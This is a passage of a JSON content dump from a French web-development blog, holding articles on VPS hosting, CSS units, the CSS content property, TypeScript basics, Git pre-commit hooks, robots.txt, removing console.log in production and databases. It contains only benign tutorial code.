gestion des règles de ce pare-feu vous incombe.\n\n## Conclusion\n\n**L'administration d'un VPS n'est pas si éloignée de celle d'une machine dédiée (chez un hébergeur)**, les ressources sont simplement partagées avec d'autres machines virtuelles, ce qui peut causer d**es ralentissement si d'autres utilisateurs subissent une charge exceptionnelle** sur la même machine physique que celle sur laquelle vous êtes hébergé.\n\n**À noter qu'il vaut mieux avoir un minimum de connaissances en administration système ainsi qu'en sécurité** avant de se lancer dans la mise en production d'une application sur un VPS.\n\n","Pourquoi parle-t'on de Virtual Private Server ?","exlpication-qu-est-ce-qu-un-serveur-vps","2021-03-09T07:33:53.000Z","2023-09-19T15:05:40.392Z","2021-03-09T08:57:05.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/03/pexels-christina-morillo-1181354.jpg",{"id":1504,"title":1505,"content":1506,"socialTitle":8,"description":1507,"socialDescription":8,"slug":1508,"createdAt":1509,"updatedAt":1510,"publishedAt":1511,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1512,"coverCopyright":1513,"coverCopyrightLink":1514},214,"Faut-il utiliser px, em ou rem pour dimensionner ses textes en CSS ?","> Cet article a été édité suite au retour d'un lecteur, le 17/03/21 à 22h07\n\nDepuis quelques années, un débat fait rage dans la communauté des développeurs front-end : **\"Quelles unités de taille faut-il favoriser pour les polices d'écriture ?\"**\n\nBeaucoup de ressources sur le web vont jusqu'à dire qu'il faut complètement abandonner le pixel, et tout remplacer par des unités relatives, mais alors, **quelle unité choisir ?**\n\n## Le pixel est mort, vive le pixel\n\nTout d'abord il faut préciser une chose : **même les unités relatives comme le em et le rem sont directement converties en pixel par le navigateur**, donc quand on parle de remplacer le pixel, c'est seulement lors de la déclaration de la taille en Javascript dans le CSS, le navigateur lui, calcule en pixels.\n\n**À noter aussi que les informations suivantes sont valables pour les textes**, mais la méthodologie pour dimensionner d'autres éléments n'exploite pas les mêmes unités.\n\n## Quelles sont les différences ?\n\n### L'unité px\n\nLe pixel est l'unité de base, celle que l'on commence à voir dès que l'on découvre le CSS, mais il faut savoir que le \"px\" ne représente pas la taille d'un pixel physique, c'est pourquoi on parle parfois de \"CSS pixel\".\n\n**La taille d'un pixel de référence est celle d'un pixel sur un écran de 91dpi**, et le pixel manipulé en CSS sera donc calculé par rapport à cette taille-là.\n\n> Voici [un article de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTML/Viewport_meta_tag) expliquant ce concept en détail.\n\n**Pour un écran rétina, il faudra donc 4 pixels physiques utilisés pour afficher un \"CSS pixel\"**, c'est d'ailleurs pour cela que les _media-queries_ pour les appareils mobiles se basent sur des tailles inférieures avoisinant les 500px alors que les écrans physiques ont des résolutions de plusieurs milliers de pixels.\n\n**Donc même si on ne considère pas le pixel comme étant une unité \"relative\", ce n'est en réalité pas une unité complètement absolue**, et elle s'adapte pour faciliter la vie aux développeurs, ainsi qu'aux utilisateurs.\n\n```\n\u003Cstyle>\n li {\n font-size: 16px; /*Cette taille sera toujours équivalente à 16 CSS pixels */\n }\n\u003C/style>\n```\n\n### L'unité em\n\n**Cette unité est relative à la taille de la police de l'élément parent.** Imaginons que la taille de texte du parent soit de 16px, alors 1em sera égal à 16px, 2em égal à 32px, etc...\n\n**Le problème de cette unité réside dans les éléments imbriqués :** imaginons que l'on fixe la taille de texte d'un élément \u003Cli> à 1.5 em (24px), si l'on veut créer une sous-liste imbriquée dans un élément d'une liste existante, alors le 1.5em du \u003Cli> de deuxième niveau sera égal à 36px (1.5\\*1.5\\*16).\n\n```\n\u003Cstyle>\n html {\n font-size: 16px;\n }\n li {\n font-size: 1.5em; /* Problème lors d'une imbrication */\n }\n\u003C/style>\n\n\u003Cul>\n \u003Cli>Un élément d'une liste\u003C/li> \u003C!-- Taille égale à 24 CSS pixels -->\n \u003Cli>\n \u003Cul>\n \u003Cli>Un élément d'une sous-liste\u003C/li> \u003C!-- Taille égale à 36 CSS pixels -->\n \u003C/ul>\n \u003C/li>\n\u003C/ul>\n```\n\n**Ces effets de bords rend l'unité em difficile à controler et à maintenir**, c'est pour cette raison qu'a été créé une nouvelle unité relative : le rem.\n\n### L'unité rem (root em)\n\nLe fonctionnement de rem est le même que celui de em, **à l'exception qu'il n'est pas relatif à la taille de texte de son parent, mais à la taille de texte de la racine (d'où \"root em\").**\n\nEn initialisant la taille de la police du document \u003Chtml> à 12px, la taille d'un texte enfant paramétré à 2em sera égal à 24px, **peu importe où il soit placé dans le document HTML.**\n\nL'avantage du rem est que vous pouvez **faire varier la taille finale de tous vos textes en changeant simplement la taille de texte du document racine** à l'intérieur de media-queries.\n\n```\n\u003Cstyle>\n html {\n font-size: 16px;\n }\n \n h1 {\n font-size: 1.5rem; /* Egal à 24px, 21px ou 18px selon la taille de l'écran */\n }\n \n @media (max-width: 800px) {\n html {\n font-size: 14px;\n }\n }\n \n @media (max-width: 500px) {\n html {\n font-size: 12px;\n }\n }\n\u003C/style>\n```\n\n> L'unité rem est aujourd'hui supporté par 99% des navigateurs, vous pouvez donc l'utiliser à volonté\n\n## Quelle est la meilleure solution ?\n\nIl y a de nombreuses années, lorsque l'utilisateur voulait zoomer dans une page, **le navigateur grossissait simplement les polices d'écritures (sans grossir les éléments).**\n\nLe problème était que **les tailles des textes spécifiées en pixels n'étaient pas affectées par le zoom**, la solution a donc été d'ajouter des unités relatives pour la taille des polices d'écritures.\n\nAujourd'hui, les navigateurs modernes ne gèrent plus le zoom avec les tailles des polices, **ces derniers augmentent simplement la taille du pixel de référence**, ce qui augmente donc la taille de tous les éléments de manière homogène.\n\n> Est-ce que cela veut dire que je peux dimensionner mes textes en px ?\n\nEn théorie oui, sauf que pour certaines personnes atteintes de déficiances visuelles, **il peut être indispensable de pouvoir augmenter uniquement la taille des textes, sans toucher au reste.**\n\n> C'est pour celà que **la plupart des navigateurs donnent la possibilité à l'utilisateur d'ajuster la taille par défaut** de la police (de base réglée à 16px).\n\nDonc pour permettre aux personnes souffrant de déficience visuelle d'adapter la taille du texte manière uniforme, mais aussi de garder un code maintenant, **l'idéal est d'utiliser les rem pour spécifier les tailles de textes** par rapport à la taille de texte par défaut définie par le navigateur (ou l'utilisateur).\n\nJ'espère que cet article vous aura été utile, et à bientôt sur le blog !\n\n","TLDR; Le pixel fonctionne, mais mieux vaut utiliser le rem pour l'accessibilité et la maintenabilité.","css-px-em-ou-rem-pour-dimensionner-ses-textes","2021-03-16T20:29:38.000Z","2023-10-03T12:13:52.080Z","2021-03-16T22:35:06.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/03/diana-polekhina-Q3t49sVquH0-unsplash.jpg","Diana Polekhina sur Unsplash","https://unsplash.com/@diana_pole?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1516,"title":1517,"content":1518,"socialTitle":8,"description":1519,"socialDescription":8,"slug":1520,"createdAt":1521,"updatedAt":1522,"publishedAt":1523,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1524,"coverCopyright":1525,"coverCopyrightLink":1526},219,"Ce qu'il faut savoir de la propriété \"content\" en CSS","**Si vous utilisez les pseudo-éléments ::before et ::after en CSS**, alors vous avez déjà utilisé la propriété _content_, sans quoi votre élément ne s'afficherait pas, mais savez-vous ce qu'il est possible de faire avec ?\n\nTout d'abord, le rôle de la propriété \"_content\"_ est d'**insérer du contenu généré par par le CSS dans votre élément HTML.**\n\n> Ou plutôt dans votre pseudo-élément, car l'utilisation de cette propriété se limite à ::before et ::after d'après la spécification actuelle.\n\nVous savez donc sûrement que l'on peut simplement insérer un contenu vide avec content: \"\", du texte avec content: \"hello world\" ou des caractères spéciaux, des icônes (avec une police adaptée), etc...\n\nMais saviez-vous que vous pouvez aussi :\n\n## Insérer la valeur d'un attribut\n\n```\n\n/* \u003Cspan class=\"example\" data=\"6\">notifications\u003C/span> */\n\nspan.example::before {\n content: attr(data);\n}\n\n```\n\nLes pseudo-éléments sont souvent utilisés à des fins d'illustration, mais dès qu'une information dynamique doit être injectée, **le réflexe est souvent de créer un élément HTML spécifique pour l'afficher.**\n\nHors ici, il est possible d'**injecter la donnée dans un attribut de votre élément, et d'aller le chercher avec la valeur attr()** de la propriété content !\n\n## Insérer une image\n\n```\n\ndiv.example::before {\n content: url(...);\n}\n\n```\n\nComme pour la valeur précédente, il n'est pas obligatoire d'utiliser un élément supplémentaire pour afficher une image, il est possible de le faire avec content.\n\nNéanmoins **vous ne devez utiliser cette méthode que pour les images d'illustration**, étant donné qu'il est impossible d'ajouter de texte alternatif pour l'accessibilité.\n\n## Insérer un compteur\n\n```\n\np.list-item {\n counter-increment: p_counter;\n}\np.list-item::before {\n content: counter(p_counter);\n}\n\n```\n\nGrâce à un système de variable que vous venez incrémenter lorsque l'élément sélectionné est inséré dans la page, **vous pouvez afficher la valeur du compteur directement dans un pseudo-élément.**\n\n## Insérer des apostrophes\n\n```\n\np.example::before {\n content: open-quote;\n}\n\np.example::after {\n content: close-quote;\n}\n\n```\n\nIci pas de surprise, vous pouvez **ajouter automatiquement des apostrophes au début et à la fin de certains de vos paragraphes** très facilement.\n\nIl existe d'autres valeurs pour la propriété content, mais je vous laisse les découvrir directement dans [la documentation W3School](https://www.w3schools.com/cssref/pr_gen_content.asp).\n\n","Certaines fonctionnalités pourraient vous étonner !","ce-qu-il-faut-savoir-de-la-propriete-content-en-css","2021-03-24T08:08:40.000Z","2023-09-19T15:05:40.669Z","2021-03-24T09:32:55.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/03/jackie-zhao-W-ypTC6R7_k-unsplash.jpg","Jackie Zhao sur Unsplash","https://unsplash.com/@jiaweizhao?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1528,"title":1529,"content":1530,"socialTitle":8,"description":1531,"socialDescription":8,"slug":1532,"createdAt":1533,"updatedAt":1534,"publishedAt":1535,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1536,"coverCopyright":1537,"coverCopyrightLink":1538},222,"Comprendre ce qu'est TypeScript et comment l'utiliser ?","Pour bien comprendre le contenu de cet article, il est préférable que vous soyez déjà familier avec Javascript, si ce n'est pas le cas, **je vous invite à suivre un cours sur [l'une de ces plateformes au préalable](https://code-garage.fr/blog/top-des-plateformes-pour-appendre-le-developpement-web-en-francais/)**.\n\n## Pourquoi TypeScript ?\n\nSi l'on fait une rapide analyse de son nom, TypeScript est une contraction de \"Type\" et de \"Javascript\", **ce qui nous en apprends déjà un peu sur sa raison d'exister.**\n\nJavascript est un langage non-typé (on parle aussi de typage dynamique), ce qui signifie que lorsque vous déclarez une variable, vous n'avez nativement **pas la possibilité de dire à l'interpréteur Javascript de faire attention à ce que telle donnée corresponde à un type précis.**\n\nSi cela apporte un avantage de souplesse et de rapidité d'écriture, on découvre bien vite que **c'est au détriment de la qualité et de la solidité du code**, car ce dernier est beaucoup plus propice aux erreurs humaines.\n\nC'est pour palier à ce problème qu'en 2012, Microsoft a sorti la première version de  TypeScript, censé **aider les développeurs web à produire du code plus robuste.**\n\n**Voilà pourquoi je ne conseille pas d'apprendre TypeScript avant Javascript**, car si l'on a jamais rencontré les problématiques liées à Javascript auparavant, il est plus difficile de comprendre les vrais atouts de ce langage.\n\n## Qu'est-ce que TypeScript ?\n\nOn sait pourquoi TypeScript a été créé, mais qu'en est-il réellement ? **Est-ce un langage indépendant de Javascript ou les deux sont-ils liés ?**\n\nOn défini TypeScript comme étant un \"superset\" de Javascript (en français on parle de \"sur-ensemble\", ou d'inclusion), cela signifie que syntaxiquement, **TypeScript inclus toute la syntaxe de Javascript, et rajoute des fonctionnalités** par dessus, comme la possibilité d'ajouter des types statiques pour les données.\n\n> Est-ce que cela veut dire qu'un programme écrit en Javascript est aussi un programme TypeScript valide ?\n\nOui, même si selon la configuration du compilateur TypeScript cela peut poser quelques problèmes, **dans l'idée un programme en Javascript peut être compilé par TypeScript.**\n\nPar contre, l'inverse n'est pas forcément vrai, car dès lors que l'on utilise les fonctionnalités ajoutées par TypeScript, alors **le code ne sera plus interprétable par un moteur d'exécution JS sans être compilé au préalable.**\n\nC'est cette nature qui fait de TypeScript un langage puissant, mais **qui perd tout son intérêt s'il est écrit sans _linter_ et sans une configuration assez stricte du compilateur**, car le code compilé pourrait être ni plus robuste, ni plus rapide.\n\n### La compilation\n\nUne fois un programme écrit en TypeScript, il va falloir le compiler en JavaScript, car quelque soit l'environnement d'exécution (web ou NodeJS), le seul langage interprété reste le Javascript.\n\n> À l'exception de [Deno](https://deno.land/) qui supporte nativement le TypeScript, mais que l'on ne retrouve pas encore en production.\n\nCertains développeurs pensent que TypeScript est un langage indépendant et qu'il a un effet pendant le runtime, mais c'est faux : **Une fois compilé en Javascript, il ne reste plus rien de TypeScript.**\n\n**La vérification des types statiques se fait lors de la compilation**, et une fois cette étape passée, votre programme n'a plus la possibilité de vérifier les types de ses variables lors de l'exécution du code !\n\n> Mise à part si vous souhaitez [valider des données chargées de manière dynamique](https://code-garage.fr/javascript-comment-valider-une-instance-de-classe-es6-au-runtime/) (payload http, localStorage, etc...), mais cela n'a rien à voir avec TS.\n\n**Le compilateur du langage s'appelle tsc pour \"TypeScript Compiler\"**, et nous allons voir comment s'en servir pour compiler votre premier fichier .ts\n\n## Comment débuter ?\n\nLa première chose à faire est d'**installer le compilateur** TypeScript avec NPM :\n\n```\n$ npm install -g typescript\n```\n\nUne fois installé, vous allez pouvoir **générer un fichier de configuration** de base pour le compilateur :\n\n```\n$ tsc --init\n```\n\n**Par défaut le code en sortie du compilateur sera compatible ES3**, si vous voulez vous pouvez changer cette ligne dans le fichier tsconfig.json :\n\n```\n//tsconfig.json\n...\n \"target\": \"es2015\",\n...\n```\n\nEnsuite on va pouvoir venir créer **notre premier fichier index.ts** :\n\n```\n//index.ts\nconst str: string = \"Hello World\";\nconsole.log(str);\n```\n\n**Puis on va le compiler en Javascript** en appelant le compilateur TypeScript :\n\n```\n$ tsc index.ts\n```\n\nEt voilà, le tour est joué ! Vous allez voir apparaitre un fichier index.js qui contiendra **votre code TypeScript, compilé en Javascript** :\n\n```\n//index.js\nconst str = \"Hello World\";\nconsole.log(str);\n```\n\nVous voyez, ici le compilateur n'a eu qu'à enlever toute référence au type strict pour transformer le TS en JS, **mais c'est parce que notre code était valide**. Essayez maintenant de changer le type de la variable string en number.\n\n```\nindex.ts:1:5 - error TS2322: Type 'number' is not assignable to type 'string'.\n```\n\nIci TypeScript nous a empêché de commetre une erreur en assignant une valeur du mauvais type, ce qui aurait pu avoir des conséquences sur l'exécution de notre code !\n\n## Pour aller plus loin\n\n**Dans cet article j'ai essayé de vous présenter la base de TypeScript** pour vous faire comprendre la vraie nature de ce langage, pourquoi il existe et pourquoi il faut s'en servir quand c'est possible.\n\nD'autres articles arriveront prochainement pour aller plus loin, mais si vous désirez d'ores et déjà commencer à apprendre le langage et ses outils, **je vous invite à consulter le guide officiel \"TypeScript en 5 minutes\" (en anglais) :**\n\n[https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes.html](https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes.html)\n\nEt vous pouvez aussi utiliser **le playground en ligne pour vous entrainer** :\n\n[https://www.typescriptlang.org/play](https://www.typescriptlang.org/play)\n\n","Découvrez la vraie nature de ce langage et pourquoi il faut l'utiliser.","comprendre-ce-qu-est-typescript-et-comment-l-utiliser","2021-03-29T20:24:53.000Z","2023-09-19T15:05:40.750Z","2021-03-30T07:13:46.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/03/sandra-grunewald-_nC4lZApk7A-unsplash.jpg","Sandra Grünewald sur Unsplash","https://unsplash.com/@elmuff?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1540,"title":1541,"content":1542,"socialTitle":8,"description":1543,"socialDescription":8,"slug":1544,"createdAt":1545,"updatedAt":1546,"publishedAt":1547,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1548,"coverCopyright":8,"coverCopyrightLink":8},223,"Automatiser la vérification de son code avant un commit","Lorsque vous versionnez du code en utilisant Git, vous avez la possibilité d'exécuter des scripts spécifiques lors d'évènements du cycle de vie de votre versioning, **c'est ce que l'on appelle des \"hooks\".**\n\nGit propose de nombreux hooks, notamment deux qui vont nous intéresser ici :\n\n* avant un **commit local** (pre-commit)\n* avant **un push vers un serveur distant** (pre-push)\n\n> Je vous invite à lire [la documentation officielle](https://git-scm.com/docs/githooks) si vous désirez vous renseigner sur tous les hooks disponibles\n\n**Le principe est simple, chaque hook est un script qui sera appelé par Git.** Si le script en question retourne un code 0 (tout s'est bien passé) alors Git poursuivra son action en cours, si le script retourne un code 1 (erreur), alors l'évènement sera annulé.\n\nUn hook de pre-commit peut par exemple servir à :\n\n* Être sûr que tous **les tests passent bien**\n* **Exécuter un linter**\n* **Vérifier le code coverage**\n* ...\n\n> Selon votre use case, vous pouvez utiliser un hook de pre-commit ou de pre-push, **je recommande personnellement de favoriser le premier mais c'est à vous de voir !**\n\n## Créer un hook pre-commit à la main\n\nLorsque vous initialisez votre dépôt Git, ce dernier ajoute des scripts d'exemple pour vous vous montrer la marche à suivre dans **le dossier /.git/hooks/\\*.sample**\n\nPour créer votre premier hook de pre-commit, **vous pouvez simplement renommer le fichier pre-commit.sample en pre-commit.**\n\n> Attention pour les utilisateurs de Linux et MacOS, il faudra penser à ajouter les droits d'exécution au fichier.\n\nLe fichier d'exemple contient un script qui vérifie si les noms des fichiers ne contiennent pas de caractères non-ASCII, et annule le commit si c'est le cas, mais **libre à vous de créer le votre.**\n\nVoilà le template minimal d'un fichier pre-commit :\n\n```\n#!/bin/sh\n\nif [ ... ]\nthen\n echo \"Pre-commit hook failed because...\"\n exit 1\nfi\n\necho \"Pre-commit hook executed successfully\"\nexit 0\n```\n\n> Une fois votre script fonctionnel, il ne vous restera plus qu'à essayer de créer un commit et voir votre hook s'exécuter !\n\n## Créer un hook de pre-commit avec NPM\n\nJe travaille personnellement dans un environnement NodeJS, et je ne suis pas un expert des scripts bash, **j'ai donc trouvé une solution pour gérer mon workflow de pre-commit directement avec NPM.**\n\n> Cela permet en plus de **partager mon hook avec les autres développeurs du projet**, car sinon le dossier /.git/ n'est pas versionné.\n\nPour celà, il vous suffit d'installer le paquet NPM appelé \"pre-commit\" :\n\n```\n$ npm install pre-commit --save-dev\n```\n\nEt il ne vous restera plus qu'à indiquer le nom des scripts qui devront s'exécuter avec succès avant le commit, **directement dans le fichier package.json :**\n\n```\n{\n ...\n \"scripts\": {\n \"test\": \"mocha -R spec tests/index.js --exit\",\n \"coverage\": \"nyc --reporter=text\",\n \"format\": \"prettier --write ./src\"\n },\n \"pre-commit\": [\n \"format\",\n \"test\",\n \"coverage\"\n ],\n ...\n}\n```\n\n**Attention, si votre hook ne s'exécute pas, veillez bien à avoir installé le module après avoir initialisé votre dépôt Git**, sinon il ne trouvera pas le dossier des hooks et échouera silencieusement.\n\nVous pouvez retrouver **la documentation officielle** du module directement sur GitHub : [https://github.com/observing/pre-commit](https://github.com/observing/pre-commit)\n\n","Vous avez mis en place des tests dans votre projet mais vous ne pensez pas toujours à les exécuter avant de commit ? Voici une solution !","automatiser-la-verification-de-son-code-avant-un-commit","2021-03-31T08:51:59.000Z","2023-09-19T15:05:40.778Z","2021-03-31T10:17:02.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/03/pexels-gunnar-ridderstrom-4253967.jpg",{"id":1550,"title":1551,"content":1552,"socialTitle":8,"description":1553,"socialDescription":8,"slug":1554,"createdAt":1555,"updatedAt":1556,"publishedAt":1557,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1558,"coverCopyright":1559,"coverCopyrightLink":774},227,"Les bases du SEO #4 : Empêcher l'indexation d'une page","> Lire l'article #3 de la série intitulé \"[Analyser l'évolution de son référencement](https://code-garage.fr/les-bases-du-seo-3-analyser-l-evolution-de-son-referencement/)\"\n\nAvant de commencer à optimiser le référencement de ces pages, **il est intéressant de savoir quelles pages il vaut mieux ne pas indexer et comment faire**. C'est ce que nous allons découvrir aujourd'hui.\n\n## Pourquoi refuser l'indexation d'une page ?\n\n**Il y a trois principales raisons** à vouloir éviter que les robots des moteurs de recherche indexent certaines de vos pages :\n\n**La première étant que l'on a pas envie de présenter une page inutile à un utilisateur**, et risquer de le perdre dès son arrivée. C'est le cas pour des pages de remerciement, des pages de mentions légales et autres pages qui font partie de la ligne de vie du site mais que l'on ne veut pas présenter à un visiteur lors de sa première visite.\n\n**La deuxième est qu'il faut faire attention aux pages soumises aux moteurs de recherche**, car si on laisse trop de pages avec un contenu faible, un simple formulaire (connexion par exemple), une liste de liens sponsorisés, **l'algorithme de ranking risque de faire baisser la réputation du site** à cause du contenu qu'il aura parcouru.\n\nEt la dernière étant que **le contenu de certaines pages peut être quasi-similaire à d'autres, risquant par exemple de faire croire à du contenu dupliqué.** On peut par exemple trouver ce genre de pages sur des blogs n'ayant qu'un seul auteur, la page des articles de l'auteur aura le même contenu que la page d'accueil du blog.\n\n## Comment faire ?\n\nIl existe deux méthodes, l'une consistant à activer l'indexation page par page, et l'autre consistant à créer un fichier regroupant un ensemble de règles basées sur des patterns, appelé robots.txt :\n\n### Avec une balise meta\n\n**Cette solution est viable si le nombre de pages que vous devez éviter d'indéxer est restreint**, ou si aucune des urls de ces pages ne suit un pattern précis. Dans ce cas, il vous suffira d'ajouter la balise suivante dans l'élément \u003Chead> de votre page :\n\n```\n\u003Chead>\n ...\n \u003Cmeta name=\"robots\" content=\"noindex, nofollow\">\n ...\n\u003C/head> \n```\n\n**La directive \"noindex\" indique aux robots de ne pas indexer la page, tandis que \"nofollow\" empêche l'indexation des liens.** Il est possible de mixer les deux directives en utilisant leur valeurs inverses \"index\" et \"follow\".\n\n### Le fichier robots.txt\n\n**Le fichier robots.txt est à créer à la racine du site (le nom du fichier est sensible à la casse), et sera automatiquement lu par les crawlers.** Ce dernier contient des groupes de règles pour indiquer l'indexation (ou non), de certaines pages filtrées par des patterns d'urls :\n\n```\n# robots.txt\nUser-agent: * # any robot\nDisallow: /private/\n\nUser-agent: *\nDisallow: /contact\n```\n\nEn plus du pattern, il est possible de sélectionner uniquement certains crawlers spécifiques. Pour plus d'informations détaillées sur le robots.txt, [voici un article spécialisé](https://moz.com/learn/seo/robotstxt) sur le site moz.com\n\n","Car toutes vos pages n'ont pas d'intérêt à ressortir en premier sur Google !","les-bases-du-seo-empecher-indexation-page","2021-04-06T20:27:44.000Z","2023-09-19T15:05:40.862Z","2021-04-06T21:47:52.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/04/hello-i-m-nik-n1ccr-zVG68-unsplash.jpg","Hello I'm Nik sur Unsplash",{"id":1561,"title":1562,"content":1563,"socialTitle":8,"description":1564,"socialDescription":8,"slug":1565,"createdAt":1566,"updatedAt":1567,"publishedAt":1568,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1569,"coverCopyright":1570,"coverCopyrightLink":1571},228,"Pourquoi faut-il supprimer vos logs en production ?","La console est souvent utilisée lors du développement pour vérifier que les différentes étapes d'un code fonctionnent correctement, mais **ces logs ont-ils un impact sur les performances de votre code ?**\n\n> À noter que la meilleure méthode est d**'utiliser un debugger intégré à votre IDE si possible !**\n\n## L'impact en termes de performances\n\nS'ils n'ont qu'un impact minime lorsqu'ils sont exécutés un par un, **les logs en production peuvent avoir un impact très conséquent sur les performances de votre code**, notamment quand ils sont présent dans une boucle, ou dans un morceau de code très fréquemment appelé par vos utilisateurs.\n\nPour simuler cette perte de performance, j'ai créé un script de benchmark très simple, dont j'ai mesuré le temps d'exécution avec console.time :\n\n```\n// Version sans logs\nconsole.time(\"no-log\");\nfor(let i=0,j=0; i \u003C 1000; i++){\n j++;\n}\nconsole.timeEnd(\"no-log\");\n\n//Version avec logs\nconsole.time(\"log\");\nfor(let i=0,j=0; i \u003C 1000; i++){\n j++;\n console.log(j);\n}\nconsole.timeEnd(\"log\");\n```\n\nLe principe est d'exécuter un morceau de code simple (une incrémentation) **au sein d'une boucle de 1000 itérations, une fois sans logs, et une autre fois avec un log d'activé.**\n\n### Résultats\n\nPour que les résultats soient suffisamment probants, j'ai exécuté ce script sur **trois environnements différents**, dont deux sur des machines différentes.\n\nEnvironnement\n\nTemps avec log\n\nTemps sans log\n\nFirefox (Laptop)\n\n158ms\n\n3ms\n\nNodeJS (Laptop)\n\n570.3ms\n\n6.2ms\n\nNodeJS (VPS OVH)\n\n139.450ms\n\n15.8ms\n\nLa différence est flagrante, selon l'environnement, **notre petit log enfermé dans sa boucle multiplie par 9, 50 et même presque 100 le temps d'exécution** de notre code, c'est énorme.\n\nImaginez si ce log est présent dans une boucle, appelée dans une partie très demandée d'une de vos APIs, **la perte est considérable et peut devenir un goulot d'étranglement selon votre charge utilisateur.**\n\n## L'impact en termes de sécurité\n\nLogger des chaînes de caractères comme \"test\", \"coucou\" et j'en passe... n'a évidemment pas d'impact sur la sécurité de votre application.\n\nMais imaginons un scénario :\n\nVous utilisez, derrière votre API, **une base de données chiffrée car les données de vos utilisateurs ne doivent en aucun cas être consultable** par quelqu'un d'autre que la personne elle-même.\n\n> Et maintenant, devinez quel sera l'impact d'**un simple console.log(user)** qui part en production ?\n\n**Les données des utilisateurs finiront alors en clair dans les fichiers de logs**, sur le serveur de production...\n\nUne cible de choix pour un pirate, mais également consultable par n'importe quel membre de l'équipe de développement. **Adieu la base de données chiffrée.**\n\n## Solutions\n\nPour palier à ce problème, il existe deux solutions pour être sûr de n'oublier aucun console.log en production :\n\n> À noter que pour les deux solutions, **vous pouvez choisir de ne cibler que les console.log et pas les console.warn ou console.error !**\n\n### ESLint\n\n**ESLint est un linter, ce qui signifie qu'il va parcourir votre code afin de détecter si certaines pratiques vont à l'encontre de sa configuration.** Vous pouvez donc ajouter la règle \"no-console\" dont la documentation est ci-dessous pour être averti d'un console.log que vous auriez oublié :\n\n::: bookmark\n[![](https://eslint.org/assets/img/favicon.512x512.png)no-console - Rules](https://eslint.org/docs/rules/no-console)\n:::\n\n### Babel\n\n**Babel est un transpiler, ce qui signifie qu'il va prendre votre code pour le compiler de manière transversale** d'une version d'un langage à une autre, et y appliquer des modifications que vous aurez déterminé.\n\nAvec le plugin \"transform-remove-console\", **Babel supprimera automatiquement tous les appels console.log lors de la transpilation**, comme l'indique la documentation  :\n\n::: bookmark\n[![](https://d33wubrfki0l68.cloudfront.net/7a197cfe44548cc1a3f581152af70a3051e11671/78df8/img/babel.svg)babel-plugin-transform-remove-console · Babel](https://babeljs.io/docs/en/babel-plugin-transform-remove-console)\n:::\n\n### Conclusion\n\nJe privilégierai plutôt la configuration ESLint pour cette tâche, car il est possible de vouloir garder certains logs précis, notamment en NodeJS, et **il est possible d'ajouter des exceptions dans le code pour ignorer une règle ESLint au cas par cas.**\n\n","Les logs ont-ils un impact sur les performances de vos applications ? TLDR: Oui.","pourquoi-faut-il-supprimer-vos-console-log-en-production","2021-04-09T06:34:12.000Z","2023-09-19T15:05:40.889Z","2021-04-09T08:16:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/04/daria-nepriakhina-Ub6-Ws5Q4-Y-unsplash.jpg","Daria Nepriakhina sur Unsplash","https://unsplash.com/@epicantus?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1573,"title":1574,"content":1575,"socialTitle":8,"description":1576,"socialDescription":8,"slug":1577,"createdAt":1578,"updatedAt":1579,"publishedAt":1580,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1581,"coverCopyright":8,"coverCopyrightLink":8},236,"Qu'est-ce qu'une «base de données» ?","Dès que l'on commence à aborder la création d'un système informatique un tant soit peu complexe, que ce soit un logiciel, une application ou un site web, **une base de données est un composant essentiel.**\n\nMais qu'entend-on réellement par le terme \"base de données\" ? C'est ce que nous allons voir dans cette introduction sur le sujet.\n\n## Définition\n\nLe terme \"base de données\" (ou database en anglais) porte à confusion car **il est souvent utilisé comme raccourci** pour désigner les différents concepts suivants :\n\n* **Le système de gestion de base de données** (SGBD), c'est à dire le logiciel qui permet de gérer le stockage et la récupération des données.\n* **Le serveur de base de données**, c'est à dire la machine sur laquelle tourne le logiciel.\n* **L'instance**, c'est à dire la mise en service d'un SGBD sur une machine, que l'on utilise réellement, celle où sont stockées les données utilisées par notre application.\n\n> Pour faire simple, une base de données est une instance d'un SGBD tournant sur une machine, que l'on appelle un serveur.\n\n## Pourquoi ne pas stocker les informations dans un ou plusieurs fichiers\n\nUn système de gestion de base de données sert à **stocker des données** et à les retrouver de manière efficaces **afin de pouvoir les exploiter**.\n\nChaque SGBD a un format de stockage bien particulier et **la manière de sauvegarder et récupérer des données est normalisée** pour chaque système.\n\nC'est notamment cette normalisation, ainsi que l'optimisation qui permet de gérer une grande quantité d'informations **qui différencie une base de données d'un simple fichier** dans lequel on viendrait stocker et récupérer ces informations.\n\nPourtant la majorité des **SGBD stockent eux aussi leurs données dans des fichiers sur le disque de la machine** sur laquelle ils sont installés, la nuance est que ces fichiers sont (la plupart du temps) stockés sous forme binaire pour des raisons de performance.\n\n> Ils sont optimisés et lisibles uniquement par le logiciel en question.\n\nDe plus, **une partie des informations contenues dans une base de données est chargée dans la mémoire vive**, ce qui permet de rendre la récupération de données beaucoup plus rapide que la simple lecture d'un fichier.\n\n## SQL vs NoSQL\n\nIl existe **deux catégories principales de SGBD** : ceux compatibles avec le SQL, et les autres, appelés NoSQL (littérallement \"pas de SQL\").\n\nLe SQL (signifiant Structured Query Langage) est un langage inventé dans les années 70 chez IBM par Donald D. Chamberlin et Raymond F. Boyce et particulièrement **adapté pour gérer des données dans des bases de données relationnelles.**\n\nIl n'y a pas de chiffres exacts sur le pourcentage d'utilisation du 